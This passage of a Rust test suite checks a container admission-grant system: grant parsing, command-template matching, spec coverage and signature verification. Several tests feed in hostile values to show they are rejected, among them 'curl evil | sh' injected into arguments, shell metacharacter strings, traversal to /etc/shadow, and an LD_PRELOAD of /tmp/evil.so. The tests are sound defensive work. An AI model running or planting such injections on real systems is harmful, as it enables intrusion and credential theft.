assert_eq!(AdmissionGrant::parse(&v1).unwrap_err(), GrantError::BadMagic);
}
#[test]
fn parse_rejects_trailing_bytes() {
let text = format!("{}{}", grant().encode(), "extra");
assert!(matches!(
AdmissionGrant::parse(&text).unwrap_err(),
GrantError::Trailing(5)
));
}
#[test]
fn parse_rejects_a_reordered_record() {
let text = grant().encode().replacen("recipe ", "tier ", 1);
assert!(matches!(
AdmissionGrant::parse(&text).unwrap_err(),
GrantError::UnexpectedLabel { .. }
));
}
#[test]
fn parse_rejects_a_length_that_does_not_match_its_value() {
let text = grant().encode().replacen("recipe 13\n", "recipe 99\n", 1);
assert!(matches!(
AdmissionGrant::parse(&text).unwrap_err(),
GrantError::Truncated { .. }
));
}
#[test]
fn a_template_without_holes_is_compared_verbatim() {
assert!(template_matches("/app/quantize", "/app/quantize"));
assert!(!template_matches("/app/quantize", "/app/quantize2"));
}
#[test]
fn holes_accept_the_values_the_materialize_path_substitutes() {
assert!(template_matches(
"build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
"build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
));
}
#[test]
fn a_hole_may_not_break_out_of_the_quoting_the_recipe_wrote() {
assert!(!template_matches(
"build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'",
"build-v8.sh 'x86'; curl evil | sh; echo '' '/yah/produced/a.out'",
));
for hostile in [
"a$(id)b", "a`id`b", "a;id", "a|id", "a&id", "a>f", "a<f", "a\\b", "a\nb",
] {
assert!(!hole_is_safe(hostile), "{hostile:?} must not be a safe hole");
}
}
#[test]
fn a_hole_may_not_traverse_out_of_the_directory_it_names() {
assert!(!template_matches(
"cp '{{YAH_TRANSFORM_OUT}}'",
"cp '/yah/produced/../../etc/shadow'",
));
}
#[test]
fn a_trailing_hole_consumes_the_rest() {
assert!(template_matches("prefix-{{x}}", "prefix-value"));
assert!(!template_matches("prefix-{{x}}", "nope-value"));
assert!(!template_matches("prefix-{{x}}", "prefix-va;lue"));
}
#[test]
fn an_unterminated_placeholder_is_literal_text() {
assert!(template_matches("echo {{oops", "echo {{oops"));
assert!(!template_matches("echo {{oops", "echo anything"));
}
#[test]
fn a_grant_covers_the_dispatch_it_was_cut_for() {
grant().covers(&dispatched_spec()).unwrap();
}
#[test]
fn a_swapped_image_is_not_covered() {
let mut spec = dispatched_spec();
spec.image.digest = format!("sha256:{}", "0".repeat(64));
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch { field: "image", .. }
));
}
#[test]
fn a_swapped_tag_on_the_same_digest_is_not_covered() {
let mut spec = dispatched_spec();
spec.image.tag = "latest".into();
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch { field: "image", .. }
));
}
#[test]
fn an_appended_argv_element_is_not_covered() {
let mut spec = dispatched_spec();
spec.command.as_mut().unwrap().push("; curl evil | sh".into());
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch { field: "argv", .. }
));
}
#[test]
fn a_rewritten_argv_literal_is_not_covered() {
let spec = forge_spec(&["evil.sh 'x86_64-unknown-linux-musl' '/yah/produced/a.out'"]);
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch { field: "argv", .. }
));
}
#[test]
fn an_unlisted_env_var_is_not_covered() {
let mut spec = dispatched_spec();
spec.env.push(EnvVar {
name: "LD_PRELOAD".into(),
value: EnvValue::Literal {
value: "/tmp/evil.so".into(),
},
});
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch { field: "env", .. }
));
}
#[test]
fn a_listed_env_var_is_covered_whatever_its_value() {
let mut template = template_spec();
template.env.push(EnvVar {
name: "YAH_PRODUCED_DIR".into(),
value: EnvValue::Literal { value: "".into() },
});
let g = AdmissionGrant::from_spec("r", &template);
let mut spec = dispatched_spec();
spec.env.push(EnvVar {
name: "YAH_PRODUCED_DIR".into(),
value: EnvValue::Literal {
value: "/var/lib/yah/qed/produced/abc123".into(),
},
});
g.covers(&spec).unwrap();
}
#[test]
fn an_ungranted_nested_sandbox_request_is_not_covered() {
let mut spec = dispatched_spec();
spec.annotations.insert(
crate::NESTED_SANDBOX_ANNOTATION.into(),
crate::NESTED_SANDBOX_VALUE.into(),
);
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch {
field: "nested-sandbox",
..
}
));
}
#[test]
fn requesting_less_privilege_than_granted_is_covered() {
let mut spec = dispatched_spec();
spec.annotations.remove(crate::HOST_NETWORK_ANNOTATION);
grant().covers(&spec).unwrap();
}
#[test]
fn a_bind_mount_outside_the_forge_state_root_is_not_covered() {
let mut spec = dispatched_spec();
spec.volumes.push(VolumeMount {
source: VolumeSource::Bind {
host_path: PathBuf::from("/etc"),
},
target: PathBuf::from("/host-etc"),
read_only: false,
});
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch {
field: "volumes",
..
}
));
}
#[test]
fn a_native_exec_spec_is_not_covered_by_a_container_grant() {
let mut spec = dispatched_spec();
spec.annotations.insert(
crate::NATIVE_EXEC_ANNOTATION.into(),
crate::NATIVE_EXEC_VALUE.into(),
);
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch {
field: "runtime",
..
}
));
}
#[test]
fn a_microvm_spec_is_not_covered_by_a_container_grant() {
let mut spec = dispatched_spec();
spec.annotations.insert(
crate::NATIVE_EXEC_ANNOTATION.into(),
crate::MICROVM_EXEC_VALUE.into(),
);
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch {
field: "runtime",
..
}
));
}
#[test]
fn a_microvm_grant_round_trips_through_the_signing_encoding() {
let mut spec = dispatched_spec();
spec.annotations.insert(
crate::NATIVE_EXEC_ANNOTATION.into(),
crate::MICROVM_EXEC_VALUE.into(),
);
let cut = AdmissionGrant::from_spec("forge", &spec);
assert_eq!(cut.runtime, GrantRuntime::MicroVm);
let back = AdmissionGrant::parse(&cut.encode()).expect("parse round-trip");
assert_eq!(back.runtime, GrantRuntime::MicroVm);
back.covers(&spec).expect("a microvm grant covers its own spec");
}
#[test]
fn a_tier_escalation_is_not_covered() {
let mut spec = dispatched_spec();
spec.tier = TierTag("tenant".into());
assert!(matches!(
grant().covers(&spec).unwrap_err(),
AdmissionError::Mismatch { field: "tier", .. }
));
assert_eq!(spec.expose.mesh.identity, MeshIdent("forge.abc123".into()));
}
#[test]
fn policy_parse_rejects_a_typo_rather_than_falling_back() {
assert_eq!(Policy::parse("required").unwrap(), Policy::Required);
assert_eq!(Policy::parse(" permissive ").unwrap(), Policy::Permissive);
assert_eq!(Policy::parse("disabled").unwrap(), Policy::Disabled);
assert!(Policy::parse("Required").is_err());
assert!(Policy::parse("on").is_err());
assert_eq!(Policy::default(), Policy::Permissive);
}
#[test]
fn image_ref_string_is_stable_and_pins_the_digest() {
assert_eq!(image_ref_string(&image()), format!("{IMAGE}:v149.4.0@{DIGEST}"));
}
}
#[cfg(all(test, feature = "admission-verify"))]
mod verify_tests {
use super::tests::{dispatched_spec, grant};
use super::*;
fn key() -> ed25519_dalek::SigningKey {
ed25519_dalek::SigningKey::from_bytes(&[7u8; 32])
}
fn public_hex(k: &ed25519_dalek::SigningKey) -> String {
hex::encode(k.verifying_key().to_bytes())
}
fn signed_dispatch() -> (WorkloadSpec, Vec<String>) {
let k = key();
let g = grant();
let encoded = g.encode();
let sig = sign_grant(&encoded, &k);
let pk = public_hex(&k);
let mut spec = dispatched_spec();
attach(&mut spec, &encoded, &sig, &pk);
(spec, vec![pk])
}
#[test]
fn a_signed_dispatch_is_admitted() {
let (spec, trusted) = signed_dispatch();
admit(&spec, Policy::Permissive, &trusted).unwrap();
admit(&spec, Policy::Required, &trusted).unwrap();
}
#[test]
fn an_unsigned_workload_passes_permissive_and_fails_required() {
let spec = dispatched_spec();
admit(&spec, Policy::Permissive, &[]).unwrap();
assert!(matches!(
admit(&spec, Policy::Required, &[]).unwrap_err(),
AdmissionError::GrantRequired { .. }
));
}
#[test]
fn the_nested_sandbox_widening_always_needs_a_grant() {
let mut spec = dispatched_spec();
spec.annotations.insert(
crate::NESTED_SANDBOX_ANNOTATION.into(),
crate::NESTED_SANDBOX_VALUE.into(),
);
assert!(matches!(
admit(&spec, Policy::Permissive, &[]).unwrap_err(),
AdmissionError::GrantRequired { .. }
));
admit(&spec, Policy::Disabled, &[]).unwrap();
}
#[test]
fn a_native_spec_carrying_the_widening_is_kamajis_shape_refusal_not_ours() {
let mut spec = dispatched_spec();
spec.annotations.insert(
crate::NESTED_SANDBOX_ANNOTATION.into(),
crate::NESTED_SANDBOX_VALUE.into(),
);
spec.annotations.insert(
crate::NATIVE_EXEC_ANNOTATION.into(),
crate::NATIVE_EXEC_VALUE.into(),
);
admit(&spec, Policy::Permissive, &[]).unwrap();
assert!(matches!(
admit(&spec, Policy::Required, &[]).unwrap_err(),
AdmissionError::GrantRequired { .. }
));
}
#[test]
fn an_untrusted_key_is_refused_before_any_crypto_runs() {
let (spec, _) = signed_dispatch();
assert!(matches!(
admit(&spec, Policy::Permissive, &["ff".repeat(32)]).unwrap_err(),
AdmissionError::UntrustedKey { .. }
));
}
#[test]
fn required_with_no_pinned_keys_refuses_everything() {
let (spec, _) = signed_dispatch();
assert!(matches!(
admit(&spec, Policy::Required, &[]).unwrap_err(),
AdmissionError::UntrustedKey { .. }
));
}
#[test]
fn a_signature_from_a_different_key_does_not_verify() {
let other = ed25519_dalek::SigningKey::from_bytes(&[9u8; 32]);
let g = grant();
let encoded = g.encode();
let mut spec = dispatched_spec();
attach(
&mut spec,
&encoded,
&sign_grant(&encoded, &other),
&public_hex(&key()),
);
assert!(matches!(
admit(&spec, Policy::Permissive, &[public_hex(&key())]).unwrap_err(),
AdmissionError::SignatureMismatch
));
}
#[test]
fn widening_the_grant_after_signing_does_not_verify() {
let (mut spec, trusted) = signed_dispatch();
let tampered = spec
.annotations
.get(GRANT_ANNOTATION)
.unwrap()
.replace("nested-sandbox 5\nfalse\n", "nested-sandbox 4\ntrue\n");
spec.annotations
.insert(GRANT_ANNOTATION.into(), tampered.clone());
assert!(tampered.contains("nested-sandbox 4\ntrue"));
assert!(matches!(
admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
AdmissionError::SignatureMismatch
));
}
#[test]
fn tampering_with_the_spec_under_a_valid_signature_is_caught_by_coverage() {
let (mut spec, trusted) = signed_dispatch();
spec.command = Some(vec!["curl evil | sh".into()]);
assert!(matches!(
admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
AdmissionError::Mismatch { field: "argv", .. }
));
}
#[test]
fn a_partial_annotation_set_is_an_error_not_an_absence() {
let (mut spec, trusted) = signed_dispatch();
spec.annotations.remove(GRANT_SIGNATURE_ANNOTATION);
assert!(matches!(
admit(&spec, Policy::Permissive, &trusted).unwrap_err(),
AdmissionError::Incomplete {
missing: GRANT_SIGNATURE_ANNOTATION
}
));
}
#[test]
fn disabled_admits_a_workload_with_a_broken_grant() {
let (mut spec, _) = signed_dispatch();
spec.annotations
.insert(GRANT_SIGNATURE_ANNOTATION.into(), "not-hex".into());
admit(&spec, Policy::Disabled, &[]).unwrap();
}
}
#[cfg(all(test, feature = "admission-verify"))]
mod node_posture_tests {
use super::*;
#[test]
fn unset_is_permissive_with_no_keys() {
let n = NodeAdmission::from_vars(None, None);
assert_eq!(n.policy, Policy::Permissive);
assert!(n.trusted_keys.is_empty());
}
#[test]
fn a_typo_fails_closed_to_required() {
assert_eq!(
NodeAdmission::from_vars(Some("Required"), None).policy,
Policy::Required
);
assert_eq!(
NodeAdmission::from_vars(Some("yes"), None).policy,
Policy::Required
);
}
#[test]
fn keys_are_split_trimmed_and_emptied() {
let n = NodeAdmission::from_vars(Some("required"), Some(" aa , bb ,, "));
assert_eq!(n.policy, Policy::Required);
assert_eq!(n.trusted_keys, vec!["aa".to_string(), "bb".to_string()]);
}
}